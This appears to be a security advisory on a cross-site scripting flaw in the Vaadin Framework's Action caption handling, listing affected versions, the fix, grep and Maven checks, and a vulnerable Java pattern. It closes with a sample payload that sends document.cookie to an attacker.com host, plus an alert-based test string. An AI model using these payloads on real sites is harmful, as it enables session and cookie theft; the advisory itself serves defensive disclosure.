Vaadin Framework, Cross-site Scripting, CVE Unspecified (Medium)

The vulnerability exists within the `Action` class where caption properties accept raw HTML by default without proper output encoding or sanitization. In Vaadin 7 and 8, the `Action` class is a generic component used to build UI controls. If an application sets an Action’s caption using unsanitized user input (e.g., new Action(userControlledString)), the framework renders it directly as HTML. This allows an attacker to inject malicious JavaScript, such as <img src=x onerror=alert(document.cookie)>, which executes in the victim’s browser context when the Action is displayed. In fixed versions, the default behavior was changed to HTML-escape all caption text. For Vaadin 23+, where Action is exclusive to the Spreadsheet component, the fix utilizes Jsoup with a relaxed safelist (allowing basic tags like `` but stripping scripts) to sanitize HTML content before rendering, thereby neutralizing the XSS payload.
Platform: Vaadin Framework
Version: 7.0.0-8.29.1,23.1.0-24.9.6
Vulnerability: Cross-site Scripting
Severity: Medium
date: Unspecified

Check for vulnerable dependencies using Maven
mvn dependency:tree | grep -E "(vaadin-server|vaadin-spreadsheet-flow)"
Grep for Action usage in source code
grep -r "new Action" src/ --include=".java"
Example of a potentially vulnerable pattern in code
// Action caption derived from user input without sanitization
String userCaption = request.getParameter("caption");
Action riskyAction = new Action(userCaption);

<!-- Sample malicious caption payload -->
<img src=x onerror='fetch("https://attacker.com/?c="+document.cookie)'>